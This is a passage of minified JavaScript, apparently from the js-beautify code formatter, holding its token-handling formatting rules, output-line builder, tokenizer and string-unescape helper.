k(n){if(n=n===undefined?!1:n,!l.just_added_newline())if(c.preserve_newlines&&e.wanted_newline||n)a(!1,!0);else if(c.wrap_line_length){var t=l.current_line.get_character_count()+e.text.length+(l.space_before_token?1:0);t>=c.wrap_line_length&&a(!1,!0)}}function a(n,i){if(!i&&u.last_text!==";"&&u.last_text!==","&&u.last_text!=="="&&o!=="TK_OPERATOR")while(u.mode===t.Statement&&!u.if_block&&!u.do_block)b();l.add_new_line(n)&&(u.multiline_frame=!0)}function kt(){if(l.just_added_newline())if(c.keep_array_indentation&&d(u.mode)&&e.wanted_newline){l.current_line.push("");for(var n=0;n<e.whitespace_before.length;n+=1)l.current_line.push(e.whitespace_before[n]);l.space_before_token=!1}else l.add_indent_string(u.indentation_level)&&(u.line_indent_level=u.indentation_level)}function v(n){n=n||e.text;kt();l.add_token(n)}function rt(){u.indentation_level+=1}function dt(){u.indentation_level>0&&(!u.parent||u.indentation_level>u.parent.indentation_level)&&(u.indentation_level-=1)}function nt(n){u?(et.push(u),p=u):p=yt(null,n);u=yt(p,n)}function d(n){return n===t.ArrayLiteral}function ut(i){return n(i,[t.Expression,t.ForInitializer,t.Conditional])}function b(){et.length>0&&(p=u,u=et.pop(),p.mode===t.Statement&&l.remove_redundant_indentation(p))}function ot(){return u.parent.mode===t.ObjectLiteral&&u.mode===t.Statement&&(u.last_text===":"&&u.ternary_depth===0||o==="TK_RESERVED"&&n(u.last_text,["get","set"]))}function tt(){return o==="TK_RESERVED"&&n(u.last_text,["var","let","const"])&&e.type==="TK_WORD"||o==="TK_RESERVED"&&u.last_text==="do"||o==="TK_RESERVED"&&u.last_text==="return"&&!e.wanted_newline||o==="TK_RESERVED"&&u.last_text==="else"&&!(e.type==="TK_RESERVED"&&e.text==="if")||o==="TK_END_EXPR"&&(p.mode===t.ForInitializer||p.mode===t.Conditional)||o==="TK_WORD"&&u.mode===t.BlockStatement&&!u.in_case&&!(e.text==="--"||e.text==="++")&&e.type!=="TK_WORD"&&e.type!=="TK_RESERVED"||u.mode===t.ObjectLiteral&&(u.last_text===":"&&u.ternary_depth===0||o==="TK_RESERVED"&&n(u.last_text,["get","set"]))?(nt(t.Statement),rt(),o==="TK_RESERVED"&&n(u.last_text,["var","let","const"])&&e.type==="TK_WORD"&&(u.declaration_statement=!0),ot()||k(e.type==="TK_RESERVED"&&n(e.text,["do","for","if","while"])),!0):!1}function gt(n,t){for(var r,i=0;i<n.length;i++)if(r=f(n[i]),r.charAt(0)!==t)return!1;return!0}function ni(n,t){for(var i=0,u=n.length,r;i<u;i++)if(r=n[i],r&&r.indexOf(t)!==0)return!1;return!0}function st(t){return n(t,["case","return","do","if","throw","else"])}function ht(n){var t=lt+(n||0);return t<0||t>=ct.length?null:ct[t]}function ti(){tt();var i=t.Expression;if(e.text==="["){if(o==="TK_WORD"||u.last_text===")"){o==="TK_RESERVED"&&n(u.last_text,g.line_starters)&&(l.space_before_token=!0);nt(i);v();rt();c.space_in_paren&&(l.space_before_token=!0);return}i=t.ArrayLiteral;d(u.mode)&&(u.last_text==="["||u.last_text===","&&(w==="]"||w==="}"))&&(c.keep_array_indentation||a())}else o==="TK_RESERVED"&&u.last_text==="for"?i=t.ForInitializer:o==="TK_RESERVED"&&n(u.last_text,["if","while"])&&(i=t.Conditional);u.last_text===";"||o==="TK_START_BLOCK"?a():o==="TK_END_EXPR"||o==="TK_START_EXPR"||o==="TK_END_BLOCK"||u.last_text==="."?k(e.wanted_newline):o==="TK_RESERVED"&&e.text==="("||o==="TK_WORD"||o==="TK_OPERATOR"?o==="TK_RESERVED"&&(u.last_word==="function"||u.last_word==="typeof")||u.last_text==="*"&&w==="function"?c.space_after_anon_function&&(l.space_before_token=!0):o==="TK_RESERVED"&&(n(u.last_text,g.line_starters)||u.last_text==="catch")&&c.space_before_conditional&&(l.space_before_token=!0):l.space_before_token=!0;e.text==="("&&(o==="TK_EQUALS"||o==="TK_OPERATOR")&&(ot()||k());nt(i);v();c.space_in_paren&&(l.space_before_token=!0);rt()}function ii(){while(u.mode===t.Statement)b();u.multiline_frame&&k(e.text==="]"&&d(u.mode)&&!c.keep_array_indentation);c.space_in_paren&&(o!=="TK_START_EXPR"||c.space_in_empty_paren?l.space_before_token=!0:(l.trim(),l.space_before_token=!1));e.text==="]"&&c.keep_array_indentation?(v(),b()):(b(),v());l.remove_redundant_indentation(p);u.do_while&&p.mode===t.Conditional&&(p.mode=t.Expression,u.do_block=!1,u.do_while=!1)}function ri(){var i=ht(1),r=ht(2),f,e;r&&(r.text===":"&&n(i.type,["TK_STRING","TK_WORD","TK_RESERVED"])||n(i.text,["get","set"])&&n(r.type,["TK_WORD","TK_RESERVED"]))?n(w,["class","interface"])?nt(t.BlockStatement):nt(t.ObjectLiteral):nt(t.BlockStatement);f=!i.comments_before.length&&i.text==="}";e=f&&u.last_word==="function"&&o==="TK_END_EXPR";c.brace_style==="expand"?o!=="TK_OPERATOR"&&(e||o==="TK_EQUALS"||o==="TK_RESERVED"&&st(u.last_text)&&u.last_text!=="else")?l.space_before_token=!0:a(!1,!0):o!=="TK_OPERATOR"&&o!=="TK_START_EXPR"?o==="TK_START_BLOCK"?a():l.space_before_token=!0:d(p.mode)&&u.last_text===","&&(w==="}"?l.space_before_token=!0:a());v();rt()}function ui(){while(u.mode===t.Statement)b();var n=o==="TK_START_BLOCK";c.brace_style==="expand"?n||a():n||(d(u.mode)&&c.keep_array_indentation?(c.keep_array_indentation=!1,a(),c.keep_array_indentation=!0):a());b();v()}function wt(){var i,r;if(e.type==="TK_RESERVED"&&u.mode!==t.ObjectLiteral&&n(e.text,["set","get"])&&(e.type="TK_WORD"),e.type==="TK_RESERVED"&&u.mode===t.ObjectLiteral&&(i=ht(1),i.text==":"&&(e.type="TK_WORD")),tt()||!e.wanted_newline||ut(u.mode)||o==="TK_OPERATOR"&&u.last_text!=="--"&&u.last_text!=="++"||o==="TK_EQUALS"||!c.preserve_newlines&&o==="TK_RESERVED"&&n(u.last_text,["var","let","const","set","get"])||a(),u.do_block&&!u.do_while){if(e.type==="TK_RESERVED"&&e.text==="while"){l.space_before_token=!0;v();l.space_before_token=!0;u.do_while=!0;return}a();u.do_block=!1}if(u.if_block)if(u.else_block||e.type!=="TK_RESERVED"||e.text!=="else"){while(u.mode===t.Statement)b();u.if_block=!1;u.else_block=!1}else u.else_block=!0;if(e.type==="TK_RESERVED"&&(e.text==="case"||e.text==="default"&&u.in_case_statement)){a();(u.case_body||c.jslint_happy)&&(dt(),u.case_body=!1);v();u.in_case=!0;u.in_case_statement=!0;return}if(e.type==="TK_RESERVED"&&e.text==="function"&&((n(u.last_text,["}",";"])||l.just_added_newline()&&!n(u.last_text,["[","{",":","=",","]))&&(l.just_added_blankline()||e.comments_before.length||(a(),a(!0))),o==="TK_RESERVED"||o==="TK_WORD"?o==="TK_RESERVED"&&n(u.last_text,["get","set","new","return","export"])?l.space_before_token=!0:o==="TK_RESERVED"&&u.last_text==="default"&&w==="export"?l.space_before_token=!0:a():o==="TK_OPERATOR"||u.last_text==="="?l.space_before_token=!0:!u.multiline_frame&&(ut(u.mode)||d(u.mode))||a()),(o==="TK_COMMA"||o==="TK_START_EXPR"||o==="TK_EQUALS"||o==="TK_OPERATOR")&&(ot()||k()),e.type==="TK_RESERVED"&&n(e.text,["function","get","set"])){v();u.last_word=e.text;return}y="NONE";o==="TK_END_BLOCK"?e.type==="TK_RESERVED"&&n(e.text,["else","catch","finally"])?c.brace_style==="expand"||c.brace_style==="end-expand"?y="NEWLINE":(y="SPACE",l.space_before_token=!0):y="NEWLINE":o==="TK_SEMICOLON"&&u.mode===t.BlockStatement?y="NEWLINE":o==="TK_SEMICOLON"&&ut(u.mode)?y="SPACE":o==="TK_STRING"?y="NEWLINE":o==="TK_RESERVED"||o==="TK_WORD"||u.last_text==="*"&&w==="function"?y="SPACE":o==="TK_START_BLOCK"?y="NEWLINE":o==="TK_END_EXPR"&&(l.space_before_token=!0,y="NEWLINE");e.type==="TK_RESERVED"&&n(e.text,g.line_starters)&&u.last_text!==")"&&(y=u.last_text==="else"||u.last_text==="export"?"SPACE":"NEWLINE");e.type==="TK_RESERVED"&&n(e.text,["else","catch","finally"])?o!=="TK_END_BLOCK"||c.brace_style==="expand"||c.brace_style==="end-expand"?a():(l.trim(!0),r=l.current_line,r.last()!=="}"&&a(),l.space_before_token=!0):y==="NEWLINE"?o==="TK_RESERVED"&&st(u.last_text)?l.space_before_token=!0:o!=="TK_END_EXPR"?o==="TK_START_EXPR"&&e.type==="TK_RESERVED"&&n(e.text,["var","let","const"])||u.last_text===":"||(e.type==="TK_RESERVED"&&e.text==="if"&&u.last_text==="else"?l.space_before_token=!0:a()):e.type==="TK_RESERVED"&&n(e.text,g.line_starters)&&u.last_text!==")"&&a():u.multiline_frame&&d(u.mode)&&u.last_text===","&&w==="}"?a():y==="SPACE"&&(l.space_before_token=!0);v();u.last_word=e.text;e.type==="TK_RESERVED"&&e.text==="do"&&(u.do_block=!0);e.type==="TK_RESERVED"&&e.text==="if"&&(u.if_block=!0)}function fi(){for(tt()&&(l.space_before_token=!1);u.mode===t.Statement&&!u.if_block&&!u.do_block;)b();v()}function ei(){tt()?l.space_before_token=!0:o==="TK_RESERVED"||o==="TK_WORD"?l.space_before_token=!0:o==="TK_COMMA"||o==="TK_START_EXPR"||o==="TK_EQUALS"||o==="TK_OPERATOR"?ot()||k():a();v()}function oi(){tt();u.declaration_statement&&(u.declaration_assignment=!0);l.space_before_token=!0;v();l.space_before_token=!0}function si(){if(u.declaration_statement){ut(u.parent.mode)&&(u.declaration_assignment=!1);v();u.declaration_assignment?(u.declaration_assignment=!1,a(!1,!0)):l.space_before_token=!0;return}v();u.mode===t.ObjectLiteral||u.mode===t.Statement&&u.parent.mode===t.ObjectLiteral?(u.mode===t.Statement&&b(),a()):l.space_before_token=!0}function hi(){if(tt(),o==="TK_RESERVED"&&st(u.last_text)){l.space_before_token=!0;v();return}if(e.text==="*"&&o==="TK_DOT"){v();return}if(e.text===":"&&u.in_case){u.case_body=!0;rt();v();a();u.in_case=!1;return}if(e.text==="::"){v();return}e.wanted_newline&&(e.text==="--"||e.text==="++")&&a(!1,!0);o==="TK_OPERATOR"&&k();var i=!0,r=!0;n(e.text,["--","++","!","~"])||n(e.text,["-","+"])&&(n(o,["TK_START_BLOCK","TK_START_EXPR","TK_EQUALS","TK_OPERATOR"])||n(u.last_text,g.line_starters)||u.last_text===",")?(i=!1,r=!1,u.last_text===";"&&ut(u.mode)&&(i=!0),o==="TK_RESERVED"||o==="TK_END_EXPR"?i=!0:o==="TK_OPERATOR"&&(i=n(e.text,["--","-"])&&n(u.last_text,["--","-"])||n(e.text,["++","+"])&&n(u.last_text,["++","+"])),(u.mode===t.BlockStatement||u.mode===t.Statement)&&(u.last_text==="{"||u.last_text===";")&&a()):e.text===":"?u.ternary_depth===0?i=!1:u.ternary_depth-=1:e.text==="?"?u.ternary_depth+=1:e.text==="*"&&o==="TK_RESERVED"&&u.last_text==="function"&&(i=!1,r=!1);l.space_before_token=l.space_before_token||i;v();l.space_before_token=r}function ci(){var n=bt(e.text),t,i=!1,r=!1,u=e.whitespace_before.join(""),o=u.length;for(a(!1,!0),n.length>1&&(gt(n.slice(1),"*")?i=!0:ni(n.slice(1),u)&&(r=!0)),v(n[0]),t=1;t<n.length;t++)a(!1,!0),i?v(" "+f(n[t])):r&&n[t].length>o?v(n[t].substring(o)):l.add_token(n[t]);a(!1,!0)}function li(){l.space_before_token=!0;v();l.space_before_token=!0}function ai(){e.wanted_newline?a(!1,!0):l.trim(!0);l.space_before_token=!0;v();a(!1,!0)}function vi(){tt();o==="TK_RESERVED"&&st(u.last_text)?l.space_before_token=!0:k(u.last_text===")"&&c.break_chained_methods);v()}function yi(){v();e.text[e.text.length-1]==="\n"&&a()}function pi(){while(u.mode===t.Statement)b()}var l,ct=[],lt,g,e,o,w,ft,u,p,et,y,at,c,vt="",it;for(at={TK_START_EXPR:ti,TK_END_EXPR:ii,TK_START_BLOCK:ri,TK_END_BLOCK:ui,TK_WORD:wt,TK_RESERVED:wt,TK_SEMICOLON:fi,TK_STRING:ei,TK_EQUALS:oi,TK_OPERATOR:hi,TK_COMMA:si,TK_BLOCK_COMMENT:ci,TK_INLINE_COMMENT:li,TK_COMMENT:ai,TK_DOT:vi,TK_UNKNOWN:yi,TK_EOF:pi},r=r?r:{},c={},r.braces_on_own_line!==undefined&&(c.brace_style=r.braces_on_own_line?"expand":"collapse"),c.brace_style=r.brace_style?r.brace_style:c.brace_style?c.brace_style:"collapse",c.brace_style==="expand-strict"&&(c.brace_style="expand"),c.indent_size=r.indent_size?parseInt(r.indent_size,10):4,c.indent_char=r.indent_char?r.indent_char:" ",c.preserve_newlines=r.preserve_newlines===undefined?!0:r.preserve_newlines,c.break_chained_methods=r.break_chained_methods===undefined?!1:r.break_chained_methods,c.max_preserve_newlines=r.max_preserve_newlines===undefined?0:parseInt(r.max_preserve_newlines,10),c.space_in_paren=r.space_in_paren===undefined?!1:r.space_in_paren,c.space_in_empty_paren=r.space_in_empty_paren===undefined?!1:r.space_in_empty_paren,c.jslint_happy=r.jslint_happy===undefined?!1:r.jslint_happy,c.space_after_anon_function=r.space_after_anon_function===undefined?!1:r.space_after_anon_function,c.keep_array_indentation=r.keep_array_indentation===undefined?!1:r.keep_array_indentation,c.space_before_conditional=r.space_before_conditional===undefined?!0:r.space_before_conditional,c.unescape_strings=r.unescape_strings===undefined?!1:r.unescape_strings,c.wrap_line_length=r.wrap_line_length===undefined?0:parseInt(r.wrap_line_length,10),c.e4x=r.e4x===undefined?!1:r.e4x,c.end_with_newline=r.end_with_newline===undefined?!1:r.end_with_newline,c.jslint_happy&&(c.space_after_anon_function=!0),r.indent_with_tabs&&(c.indent_char="\t",c.indent_size=1),ft="";c.indent_size>0;)ft+=c.indent_char,c.indent_size-=1;if(it=0,i&&i.length){while(i.charAt(it)===" "||i.charAt(it)==="\t")vt+=i.charAt(it),it+=1;i=i.substring(it)}o="TK_START_BLOCK";w="";l=new s(ft,vt);et=[];nt(t.BlockStatement);this.beautify=function(){var n,r,t;for(g=new h(i,c,ft),ct=g.tokenize(),lt=0;n=ht();){for(t=0;t<n.comments_before.length;t++)pt(n.comments_before[t]);pt(n);w=u.last_text;o=n.type;u.last_text=n.text;lt+=1}return r=l.get_code(),c.end_with_newline&&(r+="\n"),r}}function o(){var t=0,n=[];this.get_character_count=function(){return t};this.get_item_count=function(){return n.length};this.get_output=function(){return n.join("")};this.last=function(){return n.length?n[n.length-1]:null};this.push=function(i){n.push(i);t+=i.length};this.remove_indent=function(i,r){var u=0;n.length!==0&&(r&&n[0]===r&&(u=1),n[u]===i&&(t-=n[u].length,n.splice(u,1)))};this.trim=function(i,r){while(this.get_item_count()&&(this.last()===" "||this.last()===i||this.last()===r)){var u=n.pop();t-=u.length}}}function s(n,i){var r=[];this.baseIndentString=i;this.current_line=null;this.space_before_token=!1;this.get_line_number=function(){return r.length};this.add_new_line=function(n){return this.get_line_number()===1&&this.just_added_newline()?!1:n||!this.just_added_newline()?(this.current_line=new o,r.push(this.current_line),!0):!1};this.add_new_line(!0);this.get_code=function(){for(var t=r[0].get_output(),n=1;n<r.length;n++)t+="\n"+r[n].get_output();return t.replace(/[\r\n\t ]+$/,"")};this.add_indent_string=function(t){if(i&&this.current_line.push(i),r.length>1){for(var u=0;u<t;u+=1)this.current_line.push(n);return!0}return!1};this.add_token=function(n){this.add_space_before_token();this.current_line.push(n)};this.add_space_before_token=function(){if(this.space_before_token&&this.current_line.get_item_count()){var t=this.current_line.last();t!==" "&&t!==n&&t!==i&&this.current_line.push(" ")}this.space_before_token=!1};this.remove_redundant_indentation=function(u){if(!u.multiline_frame&&u.mode!==t.ForInitializer&&u.mode!==t.Conditional)for(var f=u.start_line_index,e=r.length;f<e;)r[f].remove_indent(n,i),f++};this.trim=function(t){for(t=t===undefined?!1:t,this.current_line.trim(n,i);t&&r.length>1&&this.current_line.get_item_count()===0;)r.pop(),this.current_line=r[r.length-1],this.current_line.trim(n,i)};this.just_added_newline=function(){return this.current_line.get_item_count()===0};this.just_added_blankline=function(){if(this.just_added_newline()){if(r.length===1)return!0;var n=r[r.length-2];return n.get_item_count()===0}return!1}}function h(t,r,e){function w(){var nt,d,w,rt,ct,et,pt,st,lt,ut;if(c=0,l=[],o>=s)return["","TK_EOF"];for(d=h.length?h[h.length-1]:new u("TK_START_BLOCK","{"),w=t.charAt(o),o+=1;n(w,b);){if(w==="\n"?(c+=1,l=[]):c&&(w===e?l.push(e):w!=="\r"&&l.push(" ")),o>=s)return["","TK_EOF"];w=t.charAt(o);o+=1}if(v.test(w)){var ft=!0,ht=!0,at=v;for(w==="0"&&o<s&&/[Xx]/.test(t.charAt(o))?(ft=!1,ht=!1,w+=t.charAt(o),o+=1,at=/[0123456789abcdefABCDEF]/):(w="",o-=1);o<s&&at.test(t.charAt(o));)w+=t.charAt(o),o+=1,ft&&o<s&&t.charAt(o)==="."&&(w+=t.charAt(o),o+=1,ft=!1),ht&&o<s&&/[Ee]/.test(t.charAt(o))&&(w+=t.charAt(o),o+=1,o<s&&/[+-]/.test(t.charAt(o))&&(w+=t.charAt(o),o+=1),ht=!1,ft=!1);return[w,"TK_WORD"]}if(i.isIdentifierStart(t.charCodeAt(o-1))){if(o<s)while(i.isIdentifierChar(t.charCodeAt(o)))if(w+=t.charAt(o),o+=1,o===s)break;return!(d.type==="TK_DOT"||d.type==="TK_RESERVED"&&n(d.text,["set","get"]))&&n(w,p)?w==="in"?[w,"TK_OPERATOR"]:[w,"TK_RESERVED"]:[w,"TK_WORD"]}if(w==="("||w==="[")return[w,"TK_START_EXPR"];if(w===")"||w==="]")return[w,"TK_END_EXPR"];if(w==="{")return[w,"TK_START_BLOCK"];if(w==="}")return[w,"TK_END_BLOCK"];if(w===";")return[w,"TK_SEMICOLON"];if(w==="/"){if(rt="",ct=!0,t.charAt(o)==="*"){if(o+=1,o<s)while(o<s&&!(t.charAt(o)==="*"&&t.charAt(o+1)&&t.charAt(o+1)==="/"))if(w=t.charAt(o),rt+=w,(w==="\n"||w==="\r")&&(ct=!1),o+=1,o>=s)break;return o+=2,ct&&c===0?["/*"+rt+"*/","TK_INLINE_COMMENT"]:["/*"+rt+"*/","TK_BLOCK_COMMENT"]}if(t.charAt(o)==="/"){for(rt=w;t.charAt(o)!=="\r"&&t.charAt(o)!=="\n";)if(rt+=t.charAt(o),o+=1,o>=s)break;return[rt,"TK_COMMENT"]}}if(w==="`"||w==="'"||w==='"'||(w==="/"||r.e4x&&w==="<"&&t.slice(o-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])\s*([-a-zA-Z:0-9_.]+=('[^']*'|"[^"]*"|{[^{}]*})\s*)*\/?\s*>/))&&(d.type==="TK_RESERVED"&&n(d.text,["return","case","throw","else","do","typeof","yield"])||d.type==="TK_END_EXPR"&&d.text===")"&&d.parent&&d.parent.type==="TK_RESERVED"&&n(d.parent.text,["if","while","for"])||n(d.type,["TK_COMMENT","TK_START_EXPR","TK_START_BLOCK","TK_END_BLOCK","TK_OPERATOR","TK_EQUALS","TK_EOF","TK_SEMICOLON","TK_COMMA"]))){var tt=w,it=!1,vt=!1;if(nt=w,tt==="/")for(et=!1;o<s&&(it||et||t.charAt(o)!==tt)&&!i.newline.test(t.charAt(o));)nt+=t.charAt(o),it?it=!1:(it=t.charAt(o)==="\\",t.charAt(o)==="["?et=!0:t.charAt(o)==="]"&&(et=!1)),o+=1;else if(r.e4x&&tt==="<"){var yt=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])\s*([-a-zA-Z:0-9_.]+=('[^']*'|"[^"]*"|{[^{}]*})\s*)*(\/?)\s*>/g,ot=t.slice(o-1),g=yt.exec(ot);if(g&&g.index===0){for(pt=g[2],st=0;g;){var bt=!!g[1],wt=g[2],kt=!!g[g.length-1]||wt.slice(0,8)==="![CDATA[";if(wt!==pt||kt||(bt?--st:++st),st<=0)break;g=yt.exec(ot)}return lt=g?g.index+g[0].length:ot.length,o+=lt-1,[ot.slice(0,lt),"TK_STRING"]}}else while(o<s&&(it||t.charAt(o)!==tt&&(tt==="`"||!i.newline.test(t.charAt(o)))))nt+=t.charAt(o),it?((t.charAt(o)==="x"||t.charAt(o)==="u")&&(vt=!0),it=!1):it=t.charAt(o)==="\\",o+=1;if(vt&&r.unescape_strings&&(nt=k(nt)),o<s&&t.charAt(o)===tt&&(nt+=tt,o+=1,tt==="/"))while(o<s&&i.isIdentifierStart(t.charCodeAt(o)))nt+=t.charAt(o),o+=1;return[nt,"TK_STRING"]}if(w==="#"){if(h.length===0&&t.charAt(o)==="!"){for(nt=w;o<s&&w!=="\n";)w=t.charAt(o),nt+=w,o+=1;return[f(nt)+"\n","TK_UNKNOWN"]}if(ut="#",o<s&&v.test(t.charAt(o))){do w=t.charAt(o),ut+=w,o+=1;while(o<s&&w!=="#"&&w!=="=");return w==="#"||(t.charAt(o)==="["&&t.charAt(o+1)==="]"?(ut+="[]",o+=2):t.charAt(o)==="{"&&t.charAt(o+1)==="}"&&(ut+="{}",o+=2)),[ut,"TK_WORD"]}}if(w==="<"&&t.substring(o-1,o+3)==="<!--"){for(o+=3,w="<!--";t.charAt(o)!=="\n"&&o<s;)w+=t.charAt(o),o++;return a=!0,[w,"TK_COMMENT"]}if(w==="-"&&a&&t.substring(o-1,o+2)==="-->")return a=!1,o+=2,["-->","TK_COMMENT"];if(w===".")return[w,"TK_DOT"];if(n(w,y)){while(o<s&&n(w+t.charAt(o),y))if(w+=t.charAt(o),o+=1,o>=s)break;return w===","?[w,"TK_COMMA"]:w==="="?[w,"TK_EQUALS"]:[w,"TK_OPERATOR"]}return[w,"TK_UNKNOWN"]}function k(n){for(var e=!1,u="",r=0,f="",t=0,i;e||r<n.length;)if(i=n.charAt(r),r++,e){if(e=!1,i==="x")f=n.substr(r,2),r+=2;else if(i==="u")f=n.substr(r,4),r+=4;else{u+="\\"+i;continue}if(!f.match(/^[0123456789abcdefABCDEF]+$/))return n;if(t=parseInt(f,16),t>=0&&t<32){u+=i==="x"?"\\x"+f:"\\u"+f;continue}else if(t===34||t===39||t===92)u+="\\"+String.fromCharCode(t);else{if(i==="x"&&t>126&&t<=255)return n;u+=String.fromCharCode(t)}}else i==="\\"?e=!0:u+=i;return u}var b="\n\r\t ".split(""),v=/[0-9]/,y=("+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>"+" <%= <% %> <?= <? ?>").split(" "),p,c,l,a,h,o,s;this.line_starters="continue,try,throw,return,var,let,const,if,switch,case,default,for,while,break,function,yield,import,export".split(",");p=this.line_starters.concat(["do","in","else","get","set","new","catch","finally","typeof"]);this.tokenize=function(){s=t.length;o=0;a=!1;h=[];for(var n,f,r,i=null,v=[],e=[];!(f&&f.type==="TK_EOF");){for(r=w(),n=new u(r[1],r[0],c,l);n.type==="TK_INLINE_COMMENT"||n.type==="TK_COMMENT"||n.type==="TK_BLOCK_COMMENT"||n.type==="TK_UNKNOWN";)e.push(n),r=w(),n=new u(r[1],r[0],c,l);e.length&&(n.comments_before=e,e=[]);n.type==="TK_START_BLOCK"||n.type==="TK_START_EXPR"?(n.parent=f,i=n,v.push(n)):(n.type==="TK_END_BLOCK"||n.type==="TK_END_EXPR")&&i&&(n.text==="]"&&i.text==="["||n.text===")"&&i.text==="("||n.text==="}"&&i.text==="}")&&(n.parent=i.parent,i=v.pop());h.push(n);f=n}return h}}var i={},t,u;(function(n){var t="ªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮͰ-ʹͶͷͺ-ͽΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁҊ-ԧԱ-Ֆՙա-ևא-תװ-ײؠ-يٮٯٱ-ۓەۥۦۮۯۺ-ۼۿܐܒ-ܯݍ-ޥޱߊ-ߪߴߵߺࠀ-ࠕࠚࠤࠨࡀ-ࡘࢠࢢ-ࢬऄ-हऽॐक़-ॡॱ-ॷॹ-ॿঅ-ঌএঐও-নপ-রলশ-হঽৎড়ঢ়য়-ৡৰৱਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਖ਼-ੜਫ਼ੲ-ੴઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽૐૠૡଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽଡ଼ଢ଼ୟ-ୡୱஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹௐఅ-ఌఎ-ఐఒ-నప-ళవ-హఽౘౙౠౡಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽೞೠೡೱೲഅ-ഌഎ-ഐഒ-ഺഽൎൠൡൺ-ൿඅ-ඖක-නඳ-රලව-ෆก-ะาำเ-ๆກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ະາຳຽເ-ໄໆໜ-ໟༀཀ-ཇཉ-ཬྈ-ྌက-ဪဿၐ-ၕၚ-ၝၡၥၦၮ-ၰၵ-ႁႎႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚᎀ-ᎏᎠ-Ᏼᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛰᜀ-ᜌᜎ-ᜑᜠ-ᜱᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳៗៜᠠ-ᡷᢀ-ᢨᢪᢰ-ᣵᤀ-ᤜᥐ-ᥭᥰ-ᥴᦀ-ᦫᧁ-ᧇᨀ-ᨖᨠ-ᩔᪧᬅ-ᬳᭅ-ᭋᮃ-ᮠᮮᮯᮺ-ᯥᰀ-ᰣᱍ-ᱏᱚ-ᱽᳩ-ᳬᳮ-ᳱᳵᳶᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼⁱⁿₐ-ₜℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⸯ々-〇〡-〩〱-〵〸-〼ぁ-ゖゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿌ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘟꘪꘫꙀ-ꙮꙿ-ꚗꚠ-ꛯꜗ-ꜟꜢ-ꞈꞋ-ꞎꞐ-ꞓꞠ-Ɦꟸ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠢꡀ-ꡳꢂ-ꢳꣲ-ꣷꣻꤊ-ꤥꤰ-ꥆꥠ-ꥼꦄ-ꦲꧏꨀ-ꨨꩀ-ꩂꩄ-ꩋꩠ-ꩶꩺꪀ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫝꫠ-ꫪꫲ-ꫴꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꯀ-ꯢ가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִײַ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼA-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ",i=new RegExp("["+t+"]"),r=new 